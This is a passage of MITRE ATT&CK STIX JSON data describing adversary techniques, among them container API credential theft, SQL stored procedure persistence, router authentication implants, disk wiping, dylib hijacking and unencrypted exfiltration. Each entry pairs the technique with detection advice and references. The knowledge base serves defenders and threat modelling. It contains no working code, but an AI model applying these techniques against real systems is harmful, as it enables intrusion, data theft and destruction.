well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Application Log: Application Log Content","Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e","created":"2017-05-31T21:30:42.657Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1043","url":"https://attack.mitre.org/techniques/T1043"},{"source_name":"University of Birmingham C2","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016."}],"x_mitre_deprecated":true,"revoked":false,"description":"**This technique has been deprecated. Please use [Non-Standard Port](https://attack.mitre.org/techniques/T1571) where appropriate.**\n\nAdversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol. \n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are \n\n* TCP/UDP:135 (RPC)\n* TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP)","modified":"2022-07-22T18:51:42.238Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Commonly Used Port","x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_is_subtechnique":false,"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T16:25:28.820Z","name":"Container API","description":"Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API)\n\nAn adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_contributors":["Center for Threat-Informed Defense (CTID)","Jay Chen, Palo Alto Networks","Yossi Weizman, Azure Defender Research Team"],"x_mitre_deprecated":false,"x_mitre_detection":"Establish centralized logging for the activity of container and Kubernetes cluster components. Monitor logs for actions that could be taken to gather credentials to container and cloud infrastructure, including the use of discovery API calls by new or unexpected users and APIs that access Docker logs.\n\nIt may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Containers"],"x_mitre_version":"1.2","x_mitre_data_sources":["User Account: User Account Authentication","Command: Command Execution"],"type":"attack-pattern","id":"attack-pattern--f8ef3a62-3f44-40a4-abca-761ab235c436","created":"2021-03-31T14:01:52.321Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1552/007","external_id":"T1552.007"},{"source_name":"Unit 42 Unsecured Docker Daemons","description":"Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021.","url":"https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/"},{"source_name":"Docker API","description":"Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021.","url":"https://docs.docker.com/engine/api/v1.41/"},{"source_name":"Kubernetes API","description":"The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.","url":"https://kubernetes.io/docs/concepts/overview/kubernetes-api/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-24T15:10:40.270Z","name":"Domains","description":"Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account, taking advantage of renewal process gaps, or compromising a cloud service that enables managing domains (e.g., AWS Route53).(Citation: Krebs DNS Hijack 2019)\n\nSubdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)\n\nAdversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records. As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.(Citation: Palo Alto Unit 42 Domain Shadowing 2022)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_contributors":["Jeremy Galloway"],"x_mitre_deprecated":false,"x_mitre_detection":"Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.4","x_mitre_data_sources":["Domain Name: Passive DNS","Domain Name: Domain Registration","Domain Name: Active DNS"],"type":"attack-pattern","id":"attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba","created":"2020-10-01T00:51:28.513Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1584/001","external_id":"T1584.001"},{"source_name":"Krebs DNS Hijack 2019","description":"Brian Krebs. (2019, February 18). A Deep Dive on the Recent Widespread DNS Hijacking Attacks. Retrieved February 14, 2022.","url":"https://krebsonsecurity.com/2019/02/a-deep-dive-on-the-recent-widespread-dns-hijacking-attacks/"},{"source_name":"ICANNDomainNameHijacking","description":"ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017.","url":"https://www.icann.org/groups/ssac/documents/sac-007-en"},{"source_name":"Palo Alto Unit 42 Domain Shadowing 2022","description":"Janos Szurdi, Rebekah Houser and Daiping Liu. (2022, September 21). Domain Shadowing: A Stealthy Use of DNS Compromise for Cybercrime. Retrieved March 7, 2023.","url":"https://unit42.paloaltonetworks.com/domain-shadowing/"},{"source_name":"Microsoft Sub Takeover 2020","description":"Microsoft. (2020, September 29). Prevent dangling DNS entries and avoid subdomain takeover. Retrieved October 12, 2020.","url":"https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T16:05:24.007Z","name":"SQL Stored Procedures","description":"Adversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted).\n\nAdversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp_cmdshell 2017) \n\nMicrosoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_contributors":["Carlos Borges, @huntingneo, CIP","Lucas da Silva Pereira, @vulcanunsec, CIP","Kaspersky"],"x_mitre_deprecated":false,"x_mitre_detection":"On a MSSQL Server, consider monitoring for xp_cmdshell usage.(Citation: NetSPI Startup Stored Procedures) Consider enabling audit features that can log malicious startup activities.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","Linux"],"x_mitre_version":"1.1","x_mitre_data_sources":["Application Log: Application Log Content"],"type":"attack-pattern","id":"attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a","created":"2019-12-12T14:59:58.168Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1505/001","external_id":"T1505.001"},{"source_name":"Microsoft CLR Integration 2017","description":"Microsoft. (2017, June 19). Common Language Runtime Integration. Retrieved July 8, 2019.","url":"https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/common-language-runtime-integration-overview?view=sql-server-2017"},{"source_name":"Microsoft xp_cmdshell 2017","description":"Microsoft. (2017, March 15). xp_cmdshell (Transact-SQL). Retrieved September 9, 2019.","url":"https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017"},{"source_name":"Kaspersky MSSQL Aug 2019","description":"Plakhov, A., Sitchikhin, D. (2019, August 22). Agent 1433: remote attack on Microsoft SQL Server. Retrieved September 4, 2019.","url":"https://securelist.com/malicious-tasks-in-ms-sql-server/92167/"},{"source_name":"NetSPI Startup Stored Procedures","description":"Sutherland, S. (2016, March 7). Maintaining Persistence via SQL Server – Part 1: Startup Stored Procedures. Retrieved September 12, 2024.","url":"https://www.netspi.com/blog/technical-blog/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/"},{"source_name":"NetSPI SQL Server CLR","description":"Sutherland, S. (2017, July 13). Attacking SQL Server CLR Assemblies. Retrieved September 12, 2024.","url":"https://www.netspi.com/blog/technical-blog/adversary-simulation/attacking-sql-server-clr-assemblies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd","type":"attack-pattern","created":"2020-10-19T17:58:04.155Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1556.004","url":"https://attack.mitre.org/techniques/T1556/004"},{"source_name":"Mandiant - Synful Knock","url":"https://www.mandiant.com/resources/synful-knock-acis","description":"Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020."},{"source_name":"Cisco IOS Software Integrity Assurance - Image File Verification","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#7","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020."},{"source_name":"Cisco IOS Software Integrity Assurance - Run-Time Memory Verification","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#13","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020."}],"modified":"2021-12-14T23:14:26.107Z","name":"Network Device Authentication","description":"Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.\n\n[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\n\nDetection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).","x_mitre_is_subtechnique":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification"],"x_mitre_permissions_required":["Administrator"]},{"modified":"2024-04-16T13:00:33.303Z","name":"Disk Content Wipe","description":"Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have also been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_deprecated":false,"x_mitre_detection":"Look for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\\\\\.\\\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.\n\nFor network infrastructure devices, collect AAA logging to monitor for `erase` commands that delete critical configuration files.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"1.1","x_mitre_data_sources":["Drive: Drive Modification","Drive: Drive Access","Driver: Driver Load","Command: Command Execution","Process: Process Creation"],"x_mitre_impact_type":["Availability"],"type":"attack-pattern","id":"attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac","created":"2020-02-20T22:06:41.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1561/001","external_id":"T1561.001"},{"source_name":"DOJ Lazarus Sony 2018","description":"Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.","url":"https://www.justice.gov/opa/press-release/file/1092091/download"},{"source_name":"Novetta Blockbuster Destructive Malware","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.","url":"https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"},{"source_name":"Novetta Blockbuster","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"},{"source_name":"Microsoft Sysmon v6 May 2017","description":"Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.","url":"https://docs.microsoft.com/sysinternals/downloads/sysmon"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-16T14:22:49.146Z","name":"Messaging Applications","description":"Adversaries may leverage chat and messaging applications, such as Microsoft Teams, Google Chat, and Slack, to mine valuable information. \n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on messaging applications: \n\n* Testing / development credentials (i.e., [Chat Messages](https://attack.mitre.org/techniques/T1552/008)) \n* Source code snippets \n* Links to network shares and other internal resources \n* Proprietary data(Citation: Guardian Grand Theft Auto Leak 2022)\n* Discussions about ongoing incident response efforts(Citation: SC Magazine Ragnar Locker 2021)(Citation: Microsoft DEV-0537)\n\nIn addition to exfiltrating data from messaging applications, adversaries may leverage data from chat messages in order to improve their targeting - for example, by learning more about an environment or evading ongoing incident response efforts.(Citation: Sentinel Labs NullBulge 2024)(Citation: Permiso Scattered Spider 2023)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_contributors":["Menachem Goldstein","Obsidian Security"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["SaaS","Office Suite"],"x_mitre_version":"1.0","x_mitre_data_sources":["Application Log: Application Log Content"],"type":"attack-pattern","id":"attack-pattern--fb75213f-cfb0-40bf-a02f-3bad93d6601e","created":"2024-08-30T13:50:42.023Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1213/005","external_id":"T1213.005"},{"source_name":"Sentinel Labs NullBulge 2024","description":" Jim Walter. (2024, July 16). NullBulge | Threat Actor Masquerades as Hacktivist Group Rebelling Against AI. Retrieved August 30, 2024.","url":"https://www.sentinelone.com/labs/nullbulge-threat-actor-masquerades-as-hacktivist-group-rebelling-against-ai/"},{"source_name":"Permiso Scattered Spider 2023","description":"Ian Ahl. (2023, September 20). LUCR-3: SCATTERED SPIDER GETTING SAAS-Y IN THE CLOUD. Retrieved September 25, 2023.","url":"https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud"},{"source_name":"SC Magazine Ragnar Locker 2021","description":"Joe Uchill. (2021, December 3). Ragnar Locker reminds breach victims it can read the on-network incident response chat rooms. Retrieved August 30, 2024.","url":"https://www.scmagazine.com/analysis/ragnar-locker-reminds-breach-victims-it-can-read-the-on-network-incident-response-chat-rooms"},{"source_name":"Guardian Grand Theft Auto Leak 2022","description":"Keza MacDonald, Keith Stuart and Alex Hern. (2022, September 19). Grand Theft Auto 6 leak: who hacked Rockstar and what was stolen?. Retrieved August 30, 2024.","url":"https://www.theguardian.com/games/2022/sep/19/grand-theft-auto-6-leak-who-hacked-rockstar-and-what-was-stolen"},{"source_name":"Microsoft DEV-0537","description":"Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022.","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-12T23:39:25.476Z","name":"Exfiltration Over Unencrypted Non-C2 Protocol","description":"Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.(Citation: copy_cmd_cisco)\n\nAdversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_contributors":["William Cain","Austin Clark, @c2defense"],"x_mitre_deprecated":false,"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) \n\nFor network infrastructure devices, collect AAA logging to monitor for `copy` commands being run to exfiltrate configuration files to non-standard destinations over unencrypted protocols such as TFTP.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"2.1","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","File: File Access","Network Traffic: Network Traffic Content","Command: Command Execution","Network Traffic: Network Connection Creation"],"x_mitre_network_requirements":false,"type":"attack-pattern","id":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","created":"2020-03-15T15:37:47.583Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1048/003","external_id":"T1048.003"},{"source_name":"copy_cmd_cisco","description":"Cisco. (2022, August 16). copy - Cisco IOS Configuration Fundamentals Command Reference . Retrieved July 13, 2022.","url":"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/C_commands.html#wp1068167689"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-30T21:01:39.601Z","name":"Dylib Hijacking","description":"Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.\n\nAdversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_attack_spec_version":"2.1.0","x_mitre_deprecated":false,"x_mitre_detection":"Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. \n\nRun path dependent libraries can include LC_LOAD_DYLIB, LC_LOAD_WEAK_DYLIB, and LC_RPATH. Other special keywords are recognized by the macOS loader are @rpath, @loader_path, and @executable_path.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the otool -l command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["macOS"],"x_mitre_version":"2.0","x_mitre_data_sources":["Module: Module Load","File: File Creation","File: File Modification"],"x_mitre_defense_bypassed":["Application Control"],"type":"attack-pattern","id":"attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490","created":"2020-03-16T15:23:30.896Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1574/004","external_id":"T1574.004"},{"source_name":"MalwareUnicorn macOS Dylib Injection MachO","description":"Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop. Retrieved March 29, 2021.","url":"https://malwareunicorn.org/workshops/macos_dylib_injection.html#5"},{"source_name":"Apple Developer Doco Archive Run-Path","description":"Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved March 31, 2021.","url":"https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html"},{"source_name":"Wardle Dylib Hijacking OSX 2015","description":"Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved March 29, 2021.","url":"https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf"},{"source_name":"Writing Bad Malware for OSX","description":"Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.","url":"https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf"},{"source_name":"Wardle Dylib Hijack Vulnerable Apps","description":"Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore Apps. Retrieved March 31, 2021.","url":"https://objective-see.com/blog/blog_0x46.html"},{"source_name":"wardle artofmalware volume1","description":"Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021.","url":"https://taomm.org/vol1/pdfs.html"},{"source_name":"Github EmpireProject HijackScanner","description":"Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib Hijack Vulnerability Scanner. Retrieved April 1, 2021.","url":"https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py"},{"source_name":"Github EmpireProject CreateHijacker Dylib","description":"Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib Hijacker. Retrieved April 1, 2021.","url":"https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d","type":"attack-pattern","created":"2020-10-19T19:53:10.576Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1601.002","url":"https://attack.mitre.org/techniques/T1601/002"},{"source_name":"Cisco Synful Knock Evolution","url":"https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices","description":"Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."}],"modified":"2020-10-22T17:49:02.660Z","name":"Downgrade System Image","description":"Adversaries may install an older version of the operating system of a network device to weaken security. Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution)\n\nOn embedded devices, downgrading the version typically only requires replacing the operating system file in storage. With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart. The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.\n\nDowngrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken 